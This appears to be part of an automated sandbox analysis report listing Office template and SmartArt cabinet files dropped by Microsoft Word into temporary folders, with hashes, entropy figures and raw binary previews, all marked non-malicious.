Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCDFD9A.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.5359188337181853
Encrypted:	false
SSDEEP:	6:Q+sxnxUXe46x8RELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyO3UymD0wbnKNAH/lMz1
MD5:	0FEA64606C519B78B7A52639FEA11492
SHA1:	FC9A6D5185088318032FD212F6BDCBD1CF2FFE76
SHA-256:	60059C4DD87A74A2DC36748941CF5A421ED394368E0AA19ACA90D850FA6E4A13
SHA-512:	E04102E435B8297BF33086C0AD291AD36B5B4A97A59767F9CAC181D17CFB21D3CAA3235C7CD59BB301C58169C51C05DDDF2D637214384B9CC0324DAB0BB1EF8D
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .V.a.p.o.r._.T.r.a.i.l...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDFE58.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.4699940532942914
Encrypted:	false
SSDEEP:	6:fxnxUXGWWYlIWimoa2nRE3QepmlJ0+3FbnKfZObdADxp1RDWlVwv:fxny2WzIgN2RGHmD0wbnKYZAH+Vwv
MD5:	55BA5B2974A072B131249FD9FD42EB91
SHA1:	6509F8AC0AA23F9B8F3986217190F10206A691EA
SHA-256:	13FFAAFFC987BAAEF7833CD6A8994E504873290395DC2BD9B8E1D7E7E64199E7
SHA-512:	3DFB0B21D09B63AF69698252D073D51144B4E6D56C87B092F5D97CE07CBCF9C966828259C8D95944A7732549C554AE1FF363CB936CA50C889C364AA97501B558
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .I.n.s.i.g.h.t. .d.e.s.i.g.n. .s.e.t...d.o.t.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.W.D. .D.o.c.u.m.e.n.t. .P.a.r.t.s.}.........

C:\Users\user\AppData\Local\Temp\TCDFE58.tmp\Insight design set.dotx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	3465076
Entropy (8bit):	7.898517227646252
Encrypted:	false
SSDEEP:	98304:n8ItVaN7vTMZ9IBbaETXbI8ItVaN7vTMZ9IBbaEiXbY:8ItwNX9BvTvItwNX9BvoM
MD5:	8BC84DB5A3B2F8AE2940D3FB19B43787
SHA1:	3A5FE7B14D020FAD0E25CD1DF67864E3E23254EE
SHA-256:	AF1FDEEA092169BF794CDC290BCA20AEA07AC7097D0EFCAB76F783FA38FDACDD
SHA-512:	558F52C2C79BF4A3FBB8BB7B1C671AFD70A2EC0B1BDE10AC0FED6F5398E53ED3B2087B38B7A4A3D209E4F1B34150506E1BA362E4E1620A47ED9A1C7924BB9995
Malicious:	false
Preview:	PK.........Y5B................[Content_Types].xml ...(.................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.....g.../i..b../..}.-......U.....o.7B.......}@[..4o...E9n..h...Y....D.%......F....g..-!.\|p.....7.pQVM.....B.g.-.7....:...d.2...7bA..Us.z.`.r..,.m."..n....s.O^.....fL.........7.....-...gn,J..iU..$.......i...(..dz.....3\|

C:\Users\user\AppData\Local\Temp\cabE73A.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5864 bytes, 2 files, at 0x44 "architecture.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22008
Entropy (8bit):	7.662386258803613
Encrypted:	false
SSDEEP:	384:M7FUtfIdqSHQs7G8E0GftpBjED/C4RQrFLrHRN7TT8DlvQyUTL2mH:sWgdqR2G8Pi6D6YQZTTMvU+mH
MD5:	ABBF10CEE9480E41D81277E9538F98CB
SHA1:	F4EA53D180C95E78CC1DA88CD63F4C099BF0512C
SHA-256:	557E0714D5536070131E7E7CDD18F0EF23FE6FB12381040812D022EC0FEE7957
SHA-512:	9430DAACF3CA67A18813ECD842BE80155FD2DE0D55B7CD16560F4AAEFDA781C3E4B714D850D367259CAAB28A3BF841A5CB42140B19CFE04AC3C23C358CA87FFB
Malicious:	false
Preview:	MSCF............D................................?..................................architecture.glox.................Content.inf..q5.^...[.....0y......../..CL.C5.Q..U5g.z....UUUMPC...C..P....T.....=..s..4c...-3H..E...2..2*..T...../.i.;$..............%...................'h.........#0.......[........c.h.....O...%.61...[.J..:.,^....W.]$..u...N.R.....H.......:%I.g5Kd.n6...W2.#.UL..h.8NN../.P...H.;@.N.F...v."h..K.....~.....8...{.+...&.#A.Q'..A.....[NJ.X.....\|.\|.G5...vp.h.p..1.....-...gECV.,o{6W.#L....4v..x..z..)[.......T.....BQ.pf..D.}...H....V..[._.'.......3..1....?m..ad..c(K.......N.N.6F%.m......9...4..]?...l6..).\p;w.s....@...I%H.....;\...R......f...3~:C...A..x....X...>...:~.+..r@..."......I..m.y..)F.l..9...6....m...=..Q.F.z..u......J].{WX...V.Z.b.A0B..!....~.;Z.....K.`c..,X.MFz....].Q.2.9..L."...]...6...JOU..6...~../......4A.\|.......i.LKrY...2.R.o..X.\....0.%......>H.....8.z..^....5d\|...4\|...C......R28.E......a....e...J.S..Ng.]<&..mm

C:\Users\user\AppData\Local\Temp\cabE74B.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15691 bytes, 2 files, at 0x4c "gb.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31835
Entropy (8bit):	7.81952379746457
Encrypted:	false
SSDEEP:	768:ltJDH8NmUekomvNufaqA8Pi6x5q3KQIGu:lvINukgzP7x5mRIGu
MD5:	92A819D434A8AAEA2C65F0CC2F33BB3A
SHA1:	85C3F1801EFFEA1EA10A8429B0875FC30893F2C8
SHA-256:	5D13F9907AC381D19F0A7552FD6D9FC07C9BD42C0F9CE017FFF75587E1890375
SHA-512:	01339E04130E08573DF7DBDFE25D82ED1D248B8D127BB90D536ECF4A26F5554E793E51E1A1800F61790738CC386121E443E942544246C60E47E25756F0C810A3
Malicious:	false
Preview:	MSCF....K=......L...........................K=...?..................q<......................gb.xsl.................Content.inf.EF/.....[...A....3D.4..oVP!i/......t.6..l&9r0.8......c..q.^........$/..(./H ...^_Z0\4.42WU......P.F..9.._....'.D..<H@..E.b,K..9o..wo..v\|..[.{7m.......\|}aI..\|g....IF2au?.1,..3.H.......ed....-.........m....$..8&0..w........2....s....z..d.Z.e.....@$r[..r..4...."E.Q@...Hh.B"b>...$.L.$.P.._..~.?./T..@..F..?.~G...MS..O%Z3k..:..._...!GF..U...!..W..$..7...j......xy0..../.j..~4......8...YV....Fe.LU..J.B.k%BT5.X.q.w.a4....5..r...W.6.u...]i...t.....e.\.K............#t.c5.6....j...?#..{.m3.L9...E/....B[R.k(.'....S.'.}!j.tL..v....L....{<.m4......d_kD..D.....4`aC....rg..S..F.b..^........g;.`?,......\..T.\.H.8W.!V...1.T1.....\|.Uh....T..yD'..R.......,.`h..~.....=......4..6E..x#XcVlc_S54 ..Q.4!V..P...{w..z...u.v....DC...W.(>4..a..h.t.F.Z...C.....&..%v...kt....n..2....+.@...EW.GE..%.:R`,}v.%.nx.P.#.f.......:.5(...]...n3{...v........Q..

C:\Users\user\AppData\Local\Temp\cabE7AC.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4313 bytes, 2 files, at 0x44 "chevronaccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	20457
Entropy (8bit):	7.612540359660869
Encrypted:	false
SSDEEP:	384:KyeISBuydn5rpmp77G8E0GftpBjE/kFLrHRN7ngslI66YVj:KHISBvd5rpmFG8Pi6/6nK666j
MD5:	4EFA48EC307EAF2F9B346A073C67FCFB
SHA1:	76A7E1234FF29A2B18C968F89082A14C9C851A43
SHA-256:	3EE9AE1F8DAB4C498BD561D8FCC66D83E58F11B7BB4B2776DF99F4CDA4B850C2
SHA-512:	2705644D501D85A821E96732776F61641FE82820FD6A39FFAF54A45AD126C886DC36C1398CDBDBB5FE282D9B09D27F9BFE7F26A646F926DA55DFF28E61FBD696
Malicious:	false
Preview:	MSCF............D................................?..................................chevronaccent.glox.................Content.inf..O.$N...[.........B.....?.....$Zy..Zkr...y<.....Di-.aVX/....h..-.~........#.../.Fz....T...p....A..eHMe[..p...=................f..../%o......F@..=..$.B!....}.0..g..^vlI......f.W.F...Nm..2`...)...,.HL4.nsl.F.ir.k..e.!^.j2.v.iT....t.....!h..Y...2Q..-.x.,.Xj.U.cj,....9.....)..W..n3f.......(cH.D.4M.!.+..4..3r..y......\|r..@.PD.R..#...F..nJAR..1{-.....u3..$..L.b+h....:lZ.>....q.?. ~l..^.%.m....a...cG.h.?.\|.?7.'....b.G.4..'..A...o.Z...//..?...d.......C..Z.....]Yv.g.]..... .........]x.#=.../.7;R.j....G.....zq=O`[.'5g.D.u..)..../../.v.JmCW.da....3.f..C.z%...S=....;A.q.\|....z.E.aRu........ k..J"+.f.S.@.........eD4....\0..t./U..%.H..........M:..U.......J...Z..H.DG..u^..D..P....`.^b.........`c......#.....c.?...#..C.V.&.'..f.'...f.[..F.O..a...&..{TiXg4; .X."..0...B.#..^..........N"..w.@f...gd.S..K.....E....ZR...;.twR>.z.

C:\Users\user\AppData\Local\Temp\cabE7AD.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3144 bytes, 2 files, at 0x44 "VaryingWidthList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	19288
Entropy (8bit):	7.570850633867256
Encrypted:	false
SSDEEP:	384:5ZII4Hf+7G8E0GftpBjCwBFLrHRN7bcClvQyUTL2mH:pG8PicgbcAvU+mH
MD5:	B9A6FF715719EE9DE16421AB983CA745
SHA1:	6B3F68B224020CD4BF142D7EDAAEC6B471870358
SHA-256:	E3BE3F1E341C0FA5E9CB79E2739CF0565C6EA6C189EA3E53ACF04320459A7070
SHA-512:	062A765AC4602DB64D0504B79BE7380C14C143091A09F98A5E03E18747B2166BD862CE7EF55403D27B54CEB397D95BFAE3195C15D5516786FEBDAC6CD5FBF9CD
Malicious:	false
Preview:	MSCF....H.......D...........................H....?..................................VaryingWidthList.glox.................Content.inf...O.....[.... v.q......R.....>.%i.I.HhD.V...qt.....'....N...!..aw$(J.%(..A..h......l\|.D.p9`..Y09.:.u....p. :,..YD=0.p. ......w...........<..;.....u.."......7[....8.....?^........-..;q.\|.....B....PJ....r.K#.#.0'...}.........+gpR...T....5.iu.^I...A\..gK....}..z.B.nT.../.m.......N....E'1.E.\..o.....W..R.#.#...8.7...R.SbW-...%......$.obj.F..W_@....sY!........s.O..."k. ..b....j....v...P.\....7d...\|"J.T...2p..m.&..r..,2.).....X.`...xt].U...b.h..V.....\|L..N.Z.O#....o...1R.w30.g..?;..C.T.:$..MGY.C"i\.f..#..<.k...m..s.w. ..Ga].....wt.h\|.Ta<.......(SO.]9.%a..Z... r._JH.=O...P.9a.v.....Kj.".T...m...4.?...F...$...y.....hbW.UA..u.&)....py.C{.=t.....n...}\|H3A9.=..W..JJ..y./Y.E.M9..Z..w. .HB.YoIi..i.e..9;n...SpHw,....f....d>..g.m..z...... ...f...KP.M..U.....~vFD.fQ.P?......2!.n.....`@C!G...XI.].s,.X.'...u.E.o..f

C:\Users\user\AppData\Local\Temp\cabE7AE.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 6005 bytes, 2 files, at 0x44 "HexagonRadial.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22149
Entropy (8bit):	7.659898883631361
Encrypted:	false
SSDEEP:	384:b98FG/zdCbf7BOEawSi8E0GftpBjEPTFPxFLrHRN7S5ll7PK/pA2:N/zAbDae8Pi6PFPSRIA2
MD5:	66C5199CF4FB18BD4F9F3F2CCB074007
SHA1:	BA9D8765FFC938549CC19B69B3BF5E6522FB062E
SHA-256:	4A7DC4ED098E580C8D623C51B57C0BC1D601C45F40B60F39BBA5F063377C3C1F
SHA-512:	94C434A131CDE47CB64BCD2FB8AF442482F8ECFA63D958C832ECA935DEB10D360034EF497E2EBB720C72B4C1D7A1130A64811D362054E1D52A441B91C46034B0
Malicious:	false
Preview:	MSCF....u.......D...........................u....?..................................HexagonRadial.glox.................Content.inf.........[.....`........./.mT.T6...CP..z5...0.PcUmCUSUCU.Q.P.0..f............^...H..2e.[..8...ld......F.%.j.w!R..NA.L............ .r..z....$&.........P.=.r...O...e..dfv_.i%.C....^......?..x...+d..].B.3..EU...\|Cc..z.`lQp..fr.....8!;.8.p.ZwH\.........~..T.t..]..H.]..S.2..Vt.....r.H../..-8........!:.Y&..\|A..J.U...-.%..k..U...4m.. .q../..b.8.vc~......_q1.?..Bh.v.....L..I.$I..s.".u.. Y....I^5.v...3.......].^)b.t.j...=...Ze~.O...\|.}T.._9c........L....BV.^......X..?.....{.>.j..5.m...d.7........g[..f.nST...i..t..\|.T.jjS..4p.Pxu....W...\|.A)..\|9;....H.e.^.8D..S...M..Lj.\|...M.m+..H.....8.&-....=.L.....n.v..M.9...l....=r......K.F.j.(.(xD.3..r'9.K..-...5..Z..x....._....a[...J...`.b_a\\j.ed..\.3.5....S.T...ms.....E...Xl.y.LH=...}..0.T...04.4..B[..H.....B{B9.h..=.8Mn.*.TL.c..y.s.?.c9$l...).h).6..;.X../_>Pl...O...U.R..v.dy$A

C:\Users\user\AppData\Local\Temp\cabE7AF.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 6196 bytes, 2 files, at 0x44 "ThemePictureGrid.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22340
Entropy (8bit):	7.668619892503165
Encrypted:	false
SSDEEP:	384:GByvLdFHny7G8E0GftpBjE8upFLrHRN778lvQyUTL2mm2y:Oy3HkG8Pi6887mvU+ma
MD5:	8B29FAB506FD65C21C9CD6FE6BBBC146
SHA1:	CE1B8A57BB3C682F6A0AFC32955DAFD360720FDF
SHA-256:	773AC516C9B9B28058128EC9BE099F817F3F90211AC70DC68077599929683D6F
SHA-512:	AFA82CCBC0AEF9FAE4E728E4212E9C6EB2396D7330CCBE57F8979377D336B4DACF4F3BF835D04ABCEBCDB824B9A9147B4A7B5F12B8ADDADF42AB2C34A7450ADE
Malicious:	false
Preview:	MSCF....4.......D...........................4....?..................1...............ThemePictureGrid.glox.....1...........Content.inf....K..5.[.... V.q......B.....?.h.i.J.D...Z...>.....i~...A...Z....H.hy.D..X.....>...L.I..`. z w0}.K`.C{h....W\../.U..p\%...B...;............9..8.^M.....].lP.p...\|..?..M....E..S.`..-n........Q'.'.o..C}=..?`.bQ...J"0f.. ....k3n..F.Pu..#...w].`<...."D.].-.#+):..fe..=<.M...4..s.q.f._.=.T.M..U.[R.kbw.,......t6_I...~.X..$_.q....}2..BR...).[...<.l.3........h%....2.$`>..hG...0.6.S......._3.d~1.c.2g....7tTO..F.D.f.Y..WCG.B..T....Gg&.U'....u.S/......&6w..[bc.4....R.e..f.,....l."........I....J.=~...$x.&2...+,-.;.v.'.AQ.fc...v._..rZ..TYR...g?..Z..!.3mP dj...../...+...q.....>..../...]P.z?DW&.p..GZ....R5n......,..]{].0m.9...o.{...e."...8VH....w"%;.g\.K..p.}....#r.u..l.vS...Y.7U.N-E@.....~....E...x.....C.......{NP....5Ymk.*._.K...Z...f..;.......b.....,._@B..\.S..d.'\rs..].}.5"XJU.J..'.zk}.+P.)C.X.?9sx.D....(K....P^N_D...Z.........

C:\Users\user\AppData\Local\Temp\cabE7D2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4091 bytes, 2 files, at 0x44 "BracketList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	20235
Entropy (8bit):	7.61176626859621
Encrypted:	false
SSDEEP:	384:j3W3yGyjgbA8E0GftpBjEHvFLrHRN7pDAlI66Yv1:j3WFyAA8Pi6HVpDZ66c1
MD5:	E3C64173B2F4AA7AB72E1396A9514BD8
SHA1:	774E52F7E74B90E6A520359840B0CA54B3085D88
SHA-256:	16C08547239E5B969041AB201EB55A3E30EAD400433E926257331CB945DFF094
SHA-512:	7ED618578C6517ED967FB3521FD4DBED9CDFB7F7982B2B8437804786833207D246E4FCD7B85A669C305BE3B823832D2628105F01E2CF30B494172A17FC48576D
Malicious:	false
Preview:	MSCF............D................................?..................................BracketList.glox.................Content.inf....7r...[.... G.q..@...B.....?X!.A.......!........X..Vk.JK...Z..=......PD.....P....5...jp..+..T....b.)np5.7.....Zz........... ..!.....S......1....`....h......T?.Nq../......z....[..:..5f;....O...d.FxD...4...Z....[..a...w..W.[..P...5.]...6..."...+t].!...2\%%`Q.\..)...=>.)......a.$.2.,...2,.Lw.?..+..qf....h....T/B.....}T.E...'.%.....,.......X....b..gt.hPYc\|.....a...j...=...{..a.`!8!..\|...L.T..k..!,.R.z/W....{..,...+..w.m..sQ..7<x..B....?....\.)..l...d...}.....v..W.C..'=p1c.Z=.W.g.e....&wm..N,..K.T../.oV../=9.}.....".28...r.Q....dzj{....S...1m...x9_...2PXpa...Q.n.$z...c..SGq...k......}kPE.....3.\|.5A.>..6.......+)qCB....q....qNkGe...W]..o..Z...J.<.i......qq.8....q..BE.(...._h.U.\@3.F...KdO..=1j+....).Q.\|B..Z..%......LDYk....j.....{klDW..#CVy}...X..O!..}..s..&..DC.....tL.j..b.......[...n.'..1..Xc...9Q..gM.....n..3...v.....~.).

C:\Users\user\AppData\Local\Temp\cabE7D3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4410 bytes, 2 files, at 0x44 "PictureFrame.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	20554
Entropy (8bit):	7.612044504501488
Encrypted:	false
SSDEEP:	384:zEAH676iPi8+IS5iqn7G8E0GftpBjExDxIHFLrHRN7Ke/ll7PK/pGaz6:zEhG8+ISrG8Pi6xDxCKoIGaz6
MD5:	486CBCB223B873132FFAF4B8AD0AD044
SHA1:	B0EC82CD986C2AB5A51C577644DE32CFE9B12F92
SHA-256:	B217393FD2F95A11E2C594E736067870212E3C5242A212D6F9539450E8684616
SHA-512:	69A48BF2B1DB64348C63FC0A50B4807FB9F0175215E306E60252FFFD792B1300128E8E847A81A0E24757B5F999875DA9E662C0F0D178071DB4F9E78239109060
Malicious:	false
Preview:	MSCF....:.......D...........................:....?..................................PictureFrame.glox.................Content.inf........[.... '.q..@.........<./..+./. ...."o.o./..{^a.7^.D.HA....^J... ...........T%q..b...+pz.n.=....jT.+M..=H..A...py.3.........H...N...[..%..~....>.%....3.r...wx.....0.....7..94..2..45..7f.......D.. ...[...f.:H..../N..4.....8.....:x.I....u\|.`."...\..N..%.M#..^v$.*....T.m.....?.-.wki.X..8..F.G..Y.^8...-....+.&.+&.No...e!.#.8.....YF.......<w.....=.Q.S..7....MW....M..9A.3..c..L....\|.E-Y....]n".\|....b9..l@.d.T...a.f...~.&k.[..yS..q..]L}..)w.....$.@..v...[9..X....V...a.NK....m9.5.....Kq.;9`.U.e...8.<..)Y.H........z.G...3n.yWa.g.>.w!e.B8:......f..h..z....o.1<.RT..WK...?g .N..+..p.B.\|...1pR_......@...a....aA......ye..8...+M.l..(.d..f.;....g........8R.\.w.:ba....%...\|p....`lrA.\|....a.U.m=ld......7....#..?Dq..D.....(.5.K.a..c.G..7..]hF..%:}......}J.j$.....4...l];..v>.&j........Y.vk..$1.@X$...k...9..?...z..![..../...).a.=....aZ^.3?....

C:\Users\user\AppData\Local\Temp\cabE7D4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4967 bytes, 2 files, at 0x44 "TabList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21111
Entropy (8bit):	7.6297992466897675
Encrypted:	false
SSDEEP:	384:wWZsOvbMZGgbA8E0GftpBjEtnFLrHRN7Dfll7PK/pirk:xZRvuzA8Pi6t9DPISk
MD5:	D30AD26DBB6DECA4FDD294F48EDAD55D
SHA1:	CA767A1B6AF72CF170C9E10438F61797E0F2E8CE
SHA-256:	6B1633DD765A11E7ED26F8F9A4DD45023B3E4ADB903C934DF3917D07A3856BFF
SHA-512:	7B519F5D82BA0DA3B2EFFAD3029C7CAB63905D534F3CF1F7EA3446C42FA2130665CA7569A105C18289D65FA955C5624009C1D571E8960D2B7C52E0D8B42BE457
Malicious:	false
Preview:	MSCF....g.......D...........................g....?..........}.......................TabList.glox.................Content.inf....t....[......@..C...../.U5...........6...`.....T..>3.................=..09`..t......a..Y..BI.Z....=.'0...%...T..........H...>.:A.r......n..p...Pf.h...I.8... ....M.]&.#.vv'.....[c......g....>"......<c..f....i...sb!Z..iu<.%\|......q.....G28.h-...7.....W.v...RtdK..F~.0.3.'.e..b7.c......a.3.....a\..]...gp8.+.u/}.w.qF........8.=.=\|....\~..S.-q}]0...q.B.H.^J...!...a'.2Tn!..."..%........=.e_-.....{o..%o...a`.w..L.5..r.....e.8...pO..RE.Wgr..b.%.E...O.......8s...E....Um].C..M.....[...H.FZ..4...eZI.$..v.3<]..r....B..............8i......e<.D...Q4.q.^S.....H.b.......r.q..0o.......2..PP,."...JI...xU`.6f..K..Q9.Q..h..t....AI.S6...7............X..`dv..r..S....),7ES....#.....(...\.nh...X.ps%l..F...."<_....q....v........_.e.....P.........\|&..fi..4..@..^0..v.]7.......^. ."..}(...w.g.X...=<....p.......L...P..XV....@:....N...Y....

C:\Users\user\AppData\Local\Temp\cabE7D5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 14813 bytes, 2 files, at 0x4c "iso690nmerical.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 7 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	30957
Entropy (8bit):	7.808231503692675
Encrypted:	false
SSDEEP:	384:rKfgT03jNkAFbgUQWtxq9OGh1bBkd/1MVHb5iVOdMgbA8E0GftpBjEl8tFLrHRNF:r303jOrUQAkfhopWHbA8Pi6l8zuUIq
MD5:	D3C9036E4E1159E832B1B4D2E9D42BF0
SHA1:	966E04B7A8016D7FDAFE2C611957F6E946FAB1B9
SHA-256:	434576EB1A16C2D14D666A33EDDE76717C896D79F45DF56742AFD90ACB9F21CE
SHA-512:	D28D7F467F072985BCFCC6449AD16D528D531EB81912D4C3D956CF8936F96D474B18E7992B16D6834E9D2782470D193A17598CAB55A7F9EB0824BC3F069216B6
Malicious:	false
Preview:	MSCF.....9......L............................9...?...................8......1P..............iso690nmerical.xsl.................Content.inf...A@...[...5.....33.E...P.../..........5sv.]3srm8.T.=.......}.v.T.. ..4IH.r.%Z.(.q.\+K..[,....E....A......#CEF..}p..Y/s$...YKI.#M.?.t.1#C....I..v.vn...-...v7../S.m.Ma.....!.Y....4.......3.3....c&R9..%......(J..BDMI.>7J.....".....}.w.}w.wg.v...^.n.{....{f.mlI..%.#..I..S....D..QJ U......4........K.(@....DH.....}...8;..z...&0%e..G.OAM..x.3......\....zS9....}......89.B...e.W.p{;.....m.m3...}....../...q.~..;.,..".j.g..^N............iC.../\|...g.=..9.Q].Gf.....QA....74..v.....9.n[......0.}..jo{y./.2..Ym......;u...b.(Jz^.....~..uM...{s../..#.)n2..S.S.c..6)U.V....!.'R.......P.S.D..S.p/......D.......{......?.u.",...Mp._....N..+..=Y#..&0w....r.......$.xwC......P.e7.>O....7....].y%q^S'.....C.`.?..}Q..k../u.TK...y........S...{T.?......[.H.'L..AS.Y.\|..b...J.H-.^U>'9..uD[.".b[.l.......o..6.L).h.B0RJa.b..\|m:.):......F

C:\Users\user\AppData\Local\Temp\cabE7D6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 7453 bytes, 2 files, at 0x44 "pictureorgchart.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	23597
Entropy (8bit):	7.692965575678876
Encrypted:	false
SSDEEP:	384:y6aR//q0bJi/Uj+957G8E0GftpBj/4YOFLrHRN7LxhKll7PK/ph:y6I/Li/UjmVG8PiZ4YsLxh6Ih
MD5:	7C645EC505982FE529D0E5035B378FFC
SHA1:	1488ED81B350938D68A47C7F0BCE8D91FB1673E2
SHA-256:	298FD9DADF0ACEBB2AA058A09EEBFAE15E5D1C5A8982DEE6669C63FB6119A13D
SHA-512:	9F410DA5DB24B0B72E7774B4CF4398EDF0D361B9A79FBE2736A1DDD770AFE280877F5B430E0D26147CCA0524A54EA8B41F88B771F3598C2744A7803237B314B2
Malicious:	false
Preview:	MSCF............D................................?..................................pictureorgchart.glox.................Content.inf.W..y....[.............../.jC....U.CUUUTU.5...jjPU..MP....T..0....o0.......Y.=....P.({.3.p..."pA!>r../3.q..7...........!...TO....(..%......6...3E?....~......CZmndse.Qy....p....h....=.:5...F..%.E.&.v.`I~. ..%._..b]..Y..Q..R.........nN.q8c..a..L..X/.M...PP.q..SpZ.K]>D"Pf..B.c....0..\|I.Q.,.g/..Kev.../..=......w..}3.....(....+#T.....K`N.u..Z.....rriK.(...(...6.<R.%.]..NX..b..].C.u....++......Ia.x. .7....J.#............w>....7..R...H>....@%....~.yA.......~.UB... .P..$...-...v.....=M."....hw..b....{.....2pR....].C..u@=G."Y..;..gc/N.N.YB.Z.q.#....$....j.D..P..!.)S.{..c....&'E.lJ%.\|O.a...FG.\|.....A..h.=c7.)d.5...D...L...IQ..TTE.NL-.*M..>..p0.`......m..,.w#rZ..wR\@.Wn..@Q...}..&...E...0K.NY....M.71..`.M./:.>..._L..m...,U.l....._fi...nj9..,..w.s.kJ.m.s.M.vmw.!.....B.s.%.-').h.....)c.l....F..`3r...-.....0..7..&N.....n.#H...<7

C:\Users\user\AppData\Local\Temp\cabE7D7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 12767 bytes, 2 files, at 0x4c "ieee2006officeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	28911
Entropy (8bit):	7.7784119983764715
Encrypted:	false
